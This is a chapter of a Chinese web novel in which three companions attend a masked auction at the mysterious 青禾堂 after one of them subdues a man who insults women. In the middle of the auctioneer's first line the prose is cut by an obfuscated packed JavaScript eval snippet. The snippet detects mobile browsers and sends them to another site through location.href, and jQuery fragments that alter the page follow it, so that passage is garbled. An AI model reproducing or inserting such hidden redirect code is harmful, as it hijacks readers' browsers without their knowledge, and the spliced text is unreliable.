5. 拍卖2

作品:《我非断袖

    青禾堂起初只是一个小小的组织,路见不平拔刀相助,很有江湖中人的办事风格,后来业务逐渐扩大,小到为百姓施粥治病,大到为官家护送粮运,只有你想不到,没有他做不到,因此在京城里立住了脚,短短三年内发展到整个京城无人不知无人不晓的地位。


    谁也不知道幕后的主人是谁。


    贺寻一行人来到青禾堂时,楼前已经围了不少人,大多是来凑热闹的。


    贺寻刚站定就听到一个雄厚的声音在前面响起,定睛看去,是一个身材魁梧的大汉。


    “要我说,幕后之人定是当今圣上!一山不容二虎,谁会容忍这样有能力的组织在京城活动。”


    “圣上缘何要隐瞒身份?要我说啊,这幕后之人一定是一位侠女,听说青禾堂是在动荡时期成立的,成立之初只收留无家可归的小女孩。”一位身着华丽的小姐出声,一看就是哪位大人家的千金。


    一个身着长衫的人闻言愤怒的开口道:“无稽之谈!妇人之见!一介妇人哪能有这能力?你是哪家的小娘子不好好待在家里,抛头露面的,怕是想要沾花惹草吧。”


    那位小姐越听越生气,身边的丫鬟想拦她却没拦住,她提高了声音道:“你是什么东西?也配对本小姐评头论足?”


    小姐还想再说些什么,却被身旁的丫鬟一把拦住,那丫鬟低声对小姐说了什么,只见那小姐面色涨红,紧紧攥着拳头,却也是没再说话。


    贺寻感到身旁一阵风拂过,转头看去才发现山栀已经站到了那人的面前,叉着腰破口大骂道:“你他爹的不是女人生的吗?没爹教的东西!身下长了个小东西就别出来抛头露面了。”


    山栀从小跟着玄真子到处游历,嗯,为人自然了点,因此说出来的话也比较原生态。


    那书生听了这话一下子怒火中烧,低头看见一个瘦弱矮小,衣着普通的女孩正叉腰瞪着他,抬手就想要打人。


    盛竹见形势不对连忙想上前制止,却被身旁的贺寻拉住了衣袖,贺寻压低了声音在他耳边说道:“她很厉害。”


    盛竹硬生生停下脚步,定睛看去,电光火石间山栀已经一手抓住了那人的手臂使其动弹不得。


    那人本以为面前的是一个柔弱女子,没想到手臂被攥的动弹不得,进退两难,气急败坏之下竟用另一只手摸出了腰间的短刃。


    众人只来得及看见银光一闪,那男子就面朝大地,直直倒了下去,短刃掉在地上发出清脆的“当啷”一声。


    山栀站在那人背上,伸手反擒着男人的双手,活像打了胜仗的女将军,嘻嘻冲贺寻和盛竹他们一笑。


    贺寻拍了拍手,盛竹被刚才山栀的一系列举动震惊地说不出话,看到贺寻动作,才跟着呆呆地鼓掌。


    “哼。”山栀重重地哼了一声,“欺软怕硬的东西,遇到姑奶奶算你倒霉,什么东西,还看不起女人。”


    身下的人吃到了苦头,连连喊着“女侠饶命,女侠饶命”,山栀重重地蹬了一脚后才觉得解气了不少,一松手那男人就连滚带爬地跑了。


    周边的人怕引火上身早在有打架的势头的时候就退开了,结束后也都默不作声。


    “女侠英明!”刚刚那小姐脸都红了,不过这次是兴奋的,意识到自己激动得有些失态,小姐整了整衣袖,笑着说,“谢谢女侠路见不平拔刀相助,小女子有个不情之请。”


    “但说无妨。”山栀挠了挠头,像是害羞了。


    “女侠一看就是江湖中人,可愿意收我为徒?”小姐眼睛亮晶晶的,很是憧憬。


    “我学术不精,师父还没准我出师呢,不过我这里有一本基础功法,强身健体,往后学也会有一些格斗的招式。”山栀说着就从怀里掏出一本薄薄的册子。


    小姐欢喜地眼睛都睁大了,将册子抱在怀中如获至宝。


    彼时青禾堂内传来声音,可以开始入场了,山栀一步并两步走上前去,请求通融一二后被冷冷地拒绝,皱着眉又跑回到贺寻和盛竹的身边。


    那小姐看到后唤丫鬟取来了一张入场票,交与山栀手上。


    “诶?你有很多张票吗?”山栀不解地问。


    那小姐晃了晃手中的册子,道:“本也只是来凑热闹,再说我已经寻到最想要的东西了。”


    “真的吗!太谢谢你了!”山栀丝毫不别扭,笑着接过入场票,和贺寻和盛竹二人一同进了青禾堂。


    青禾堂从外边看其实跟沿街的酒楼铺子没什么区别,今日青禾堂封阁进行拍卖,因此里面没有其他人。


    一个戴面纱的侍女笑着询问三人:“公子小姐可是一起的?”


    “有什么说法么?”山栀开口问道。


    “如果公子小姐是一起的,就会被安排在同一个隔间。”


    山栀转过头看了看贺寻和盛竹,对方点了点头,山栀轻快地回答:“我们在一间就行了!”


    “好的。”那侍女眉眼含笑地拍了拍手,三张一样的面具飞到了她的手上,“我们这‘易金会’是不能以真面目示人的。还请戴上面具随我来。”


    贺寻接过面具拿在手上端详,是一张全脸面具,通体黑色,其上面只有一个简单的像兰草的图案。


    贺寻刚戴上面具,所有的烛台却在一瞬间灭了,一丝光线也无。


    他警觉地握上腰间的剑,却听到黑暗中传来刚才那侍女的声音:“客人莫怕,这是我们青禾堂的规矩,只需站在原处等一会儿便好。”


    黑暗里一切动静都显得那么清晰。


    那侍女不知碰到什么机关,只听见“咔嚓”一声,伴随而来的是一阵“轰轰隆隆”的声响,等到四周再次亮起来的时候,面前多了一道打开的石门。


    石门内是一条幽深的小道,墙壁上的油灯是唯一的光源,往里走了没几步,三人进了一个不算大的平台,里面放了几张椅子。


    山栀趴在围栏上朝下看去,中央有一处圆台,吊顶的玻璃将四周的光都聚集在圆台上,看这架势等会拍品就会出现在这上面了。


    左右都是一样的平台,平台上也都有着戴面具的客人。


    “我看戏文里的拍卖都神秘的不得了,现在却只戴了面具,这有什么用,衣服还有挂饰什么的不还是看的清清楚楚,想找出那个人来也不是很难嘛。”山栀一坐下来就嘀嘀咕咕,对着盛竹问道。


    “之前有人这样做了,后来离奇地死了,传言说是被青禾堂中人追杀而死,后来有人不信邪,又高价雇死士杀人越货,结果幕后之人直接死了。”盛竹开口道,“再说了,青禾堂价高者得,有钱雇人保命不如直接拍卖。”


    “这青禾堂倒真是个奇怪的地方。”贺寻在一边淡淡地开口,眼神却落在了场地中央的圆台之上,内有机关缓缓升起,一个戴着面纱的姑娘走了出来,手上端着一个托盘,盘中像是一块玉石。


    温柔的嗓音响起:“这是我们的第一件拍品,来自夏壶的和田


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14796750|158324||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    白玉籽料,起拍价四百两白银。”


    贺寻撇眼向下看去,那玉石粗略比对比手掌还小上一些,但成色上乘,细腻非常,买回去请匠人打造,定能大赚一笔。


    大楚朝受先帝影响,尤为爱玉,但玉石多由西北产出,自璃王死后大楚与西北外族各部摩擦不断,玉石的价格水涨船高,像这样上好的和田白玉籽料可谓是可遇不可求。


    “这么小一块,卖这么贵!”山栀眼睛都瞪大了,这得买多少药材,又看向贺寻:“我记得你也有一块来着,是不是也很贵。”


    贺寻眉眼低垂着,看不清情绪,只淡淡吐出“无价之宝”四个字。


    “嗷这样啊,那你可要好好保管。”山栀匆匆说了两句,就被众人的喊拍价吸引了目光。


    盛竹在一边看着,在贺寻九岁的时候,璃王出征归来,得了一块上好的羊脂白玉,给自己和贺将军打了一对同心玉佩,剩下的料子给贺寻和他做了两个生肖挂件,又做了一串玉珠手串送给了盛夫人。


    盛竹摸了摸自己的胸口,眼中满是温柔,那里也有一块羊脂白玉,打磨成的小猴模样,是璃王当年一同送给他的。


    他还因为小猴比小羊稀奇和贺寻吵过不少架。


    “下一件拍品,陈正清所作《山月》,起拍价,五百两白银。”女人笑着,温柔又端庄。


    山栀倒吸了一口凉气,她满脑子只有“这得买多少药材”这一个念头。


    贺寻像是终于来了兴趣,懒懒地说:“岁安,这陈正清什么来头?”


    “你这可问对人了。这陈正清陈侍诏是天顺九年升任侍诏的,原本这侍诏的位置轮不到他坐,上一任侍诏据说才二十多岁,但不幸病故……后面的你也能猜到。”盛竹顿了顿又说,“这陈正清画的是不错,你也知道,先帝爱画,所以这画的价格就和玉一样水涨船高喽,不过我觉得不太值当。”


    贺寻点了点头:“怪不得一幅画能有如此价格。”


    “差不多吧,现在京城的富贵人家都追捧他,还有人给我母亲送过他的画呢。”盛竹从袖子中掏出一小袋果脯,又扔给山栀贺寻各一包,三个人就这样你一句我一句地聊了起来。


    当年上学的时候盛竹扮演的就是“包打听”的角色,几年过去更是得心应手,将这几年京城的事情和贺寻还有山栀两人说了个遍。


    山栀是个活泼的,盛竹是个话多的,贺寻听着有趣,三个人嘻嘻哈哈的。


    “那谢暄呢?他这三年,没什么好玩的事?”贺寻状似不经意地提了一句。


    “他啊,没什么吧,就是听说生了一场大病,陛下因此派了一位资历颇深的老太医住在丞相府里专门帮谢暄调养身体,但是好像没什么作用。”盛竹皱了皱眉,“但是这些也是我听别人说的,他那个老狐狸,具体什么情况谁能知道,我只知道谢暄和周家那位周老这几年天天斗个不停。”


    说罢,盛竹回头看向贺寻,后者的脸上看不出情绪,几个呼吸后才淡淡道:“周家是陛下母家,看样子谢暄这位子坐的颇不容易啊。”


    盛竹在最后关头拍下了陈正清的那幅画送给他母亲,三人又说说笑笑了好一阵,那边的拍卖也来到了尾声。


    侍女端上来一个尘封的卷轴。


    “最后一件拍品,谢丞所作,《祈云山》,起拍价,五百两……”温柔的声音顿了一顿,“黄金。”


    这下不止是山栀,在场所有的人都倒吸一口凉气。